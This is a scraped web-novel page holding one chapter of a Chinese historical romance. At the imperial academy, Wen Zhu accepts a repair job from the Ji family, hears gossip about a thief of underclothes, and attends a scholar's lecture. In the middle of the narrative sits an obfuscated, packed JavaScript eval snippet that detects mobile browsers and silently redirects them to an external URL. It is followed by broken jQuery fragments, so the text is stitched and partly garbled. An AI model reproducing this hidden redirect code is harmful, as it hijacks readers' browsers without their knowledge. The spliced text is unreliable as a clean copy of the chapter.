默认冷灰
24号文字
方正启体

10. 有斐君子,终不可喧兮

作者:俞乘墨本书字数:K更新时间:
    纪二郎?


    他来多久了?没看到什么不该看的吧?


    外边纪宣见她抬头,面上带了笑,指了指斋舍门,示意她出门谈话。


    天阴沉沉的,连聒噪了一夏的蝉都没了力气。只例行公事般偶尔发出一拖沓的鸣叫。


    闻竹见他面色无异,又冷眼望了望他方才站的位置,虽不敢完全消去疑虑,还是松了口气。书案和窗户也有距离,若非鹰眼,应不会看清簿子内容。


    纪宣倒一切如常,拉着她来到廊檐外边,悄声道:“我见小卫睡了,便没叩门。你……没被吓到吧?”


    “殊成兄又不是钟馗,哪里吓人了。”闻竹笑着打趣,一面细细留意他的神色。不知是不是错觉,纪宣今日眼下微微乌青,气色有些差。


    二人寒暄一番,纪宣说明来意,拿出一精致的木盒,打开一看,竟是一成色极好的翡翠镯子,可惜镯子断裂开来,已是碎玉几段。闻竹听他话语,原来她又有活干了。


    “既是相爷所托,我定当竭力,也不辜负相爷一番信任。”闻竹听是纪相的请托,心中本有些顾虑,但仍旧接下,她心中清楚,这不失是一次机遇。


    也怕闻竹顾虑,纪宣毫无隐瞒,把祖父所托之事向她全盘托出。接与不接,全在闻竹自己。无论她作何选择,他都有说辞来替她应对祖父。


    他如此坦诚,反而让闻竹有些不自在。只因她接近纪二郎确实目的不纯。


    纪宣走后,闻竹拿着木盒回到了斋舍。进门才发觉,卫赐已经起身。


    “对不起,”卫赐心中依旧过意不去。闻、纪二人谈话时他已经醒来,听了个七七八八,“宰相请托,你接也不是,不接也不是。唉,若无我当日之事,也不会让你如此为难。”


    卫赐这几日和纪宣交游,虽甚是投缘,但论情分,哪比得过朝夕相处的闻竹。


    “没事儿,你看我哪儿像被为难了?”闻竹摇了摇头,眼角眉梢带了笑意。


    卫赐却觉得,这笑有些阴恻。


    “我不仅不怪你,感谢你还来不及。”


    若没有卫赐,她去哪里寻契机结识纪家二郎?


    只怕以后,纪宣对她还大有用处。思及此处,闻竹的嘴角更加肆意地上扬。


    “老闻,你别笑了…”许是午睡刚醒,卫赐面上带着些苍白,“我害怕。”


    **


    午后,苏杭大儒庄先生于太学明善堂讲学,纪宣走后,闻竹卫赐稍作整理,便往明善堂去。


    明善堂为太学四座讲堂中最大的一处。讲坛整体为同心圆状,先生于正中心讲坛处授业。外围座位,以讲坛为中心,向外围层层扩散为圆周状。


    闻竹和卫赐来的算早,学子们稀稀拉拉的散坐在各处,私语声不绝。纪宣吕嘉惟已经到了,二人坐在最外围座位,嘉惟见到他们来了,忙扬起笑脸向他们招手。纪宣见嘉惟动作,才发现闻竹二人的身影,向闻、卫二人颔首,又冲着闻竹笑了笑。


    闻卫二人坐定,闻竹坐在纪宣左边。吕嘉惟隔着纪宣,伸着脖子向闻竹这边:“诶——你们听说了吗?”


    吕嘉惟面善,总能得同窗信任,消息十分灵通。闻竹二人好奇,都扯着脖子听嘉惟讲话。


    “太学有贼!这几日一斋,二斋,五斋,都遭偷了!”


    闻竹心中不以为意。太学学子、胥吏众多,总会有几个心术不正的。失窃事发生,并不算惊奇。


    卫赐忙问:“偷人钱啊?”


    吕嘉惟蹙起眉头,摸着下巴:“若是钱财也罢。诡异的是,此贼一不图财,二不害命,专偷......”此后一语,闻竹卫赐二人听了,都瞪大了眼睛。嘉惟卖了个关子,用手遮着,放低了声音,“专偷学子的里衣啊!”


    闻竹和卫赐:“。。。。。。。”


    “虽匪夷所思,但真确真,五斋的叶生亲自与嘉惟讲。昨夜我与嘉惟守了一夜,不曾合眼,”纪宣疲惫,有些失神,“可惜,那贼并未来我九斋。”


    闻竹了然,道纪宣缘何如此萎靡。


    “事出反常必有妖,偷这等事物,自不是为了钱财。其中必有蹊跷,若有比破财更危险的事也未可知。我们还是多留意些。”闻竹若有所思,几人背脊发凉,都认为这话不差。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653470|172847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘉惟正要多说些什么,却被几声清脆的铃响打断。他们谈话间,生员几乎到齐。庄大儒也在讲坛处坐定。


    “叮...”在大儒身旁侍应的书童,用精致的小锤敲了三响铜铃,便是开讲。


    嘉惟噤声,只用手肘捅醒身边昏昏沉沉的纪宣。


    大儒讲学,除了太学生员,慕名而来的汴京秀才举子也不在少数。平常宽敞有余的座位显得拥挤不堪。纪宣刚清醒些许,就被吕嘉惟另一边的学子催着腾些位置。纪宣只得和旁边的闻竹贴近了些,两人挤在一张书案旁,几乎肩挨着肩。


    庄大儒是一位清瘦的老学究,发髻间微微发白,长髯乌黑,颇有些仙风。


    大儒治的是《大学》,并未直接开始讲经,而是先从自己游学各地的经历讲起。奇丽风景,风土人情,生动至极。闻竹听得入迷。她自小命运多舛,走过最远的路是逃荒。曾读郦道元所撰《水经注》,又读柳子厚《永州八记》,甚是喜爱。真能读万卷书而行尽天下山水,便是如此了!


    学子们兴致盎然,对这位大儒多了几分好感。闻竹瞥了瞥身边的纪宣,听大儒讲这有趣的,他倒是精神了些许,闻竹暗自发笑。


    庄大儒也不罗唣,估摸着学子们都提了兴趣,便开始讲经。


    “大学之道,在明明德,在亲民,在止于至善.....”学子们忙收了心,翻开桌案上的书册。


    庄大儒的诵声一直在耳边萦绕。沉水香的香气忽然钻进闻竹的鼻中,她这才发现,原来讲坛处有一小香炉,正熏着香。只不过香炉太小,她坐处又属后排,这才闻见熏香之气。


    旁边的纪宣快要梦入太虚,直挺挺向闻竹这边栽过来,快要倒在她身上。她下意识抬手扶住他肩膀。


    “《诗》云:“瞻彼淇澳,菉竹猗猗。有斐君子,如切如磋,如琢如磨。瑟兮僴兮,赫兮喧兮。有斐君子,终不可喧兮。”“如切如磋”者,道学也。“如琢如磨”者......”庄先生的诵声在闻竹的耳中渐渐难以分辨。


    耳中一阵嗡鸣。


    不对,怎么回事?


    一切只在电光石火间。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)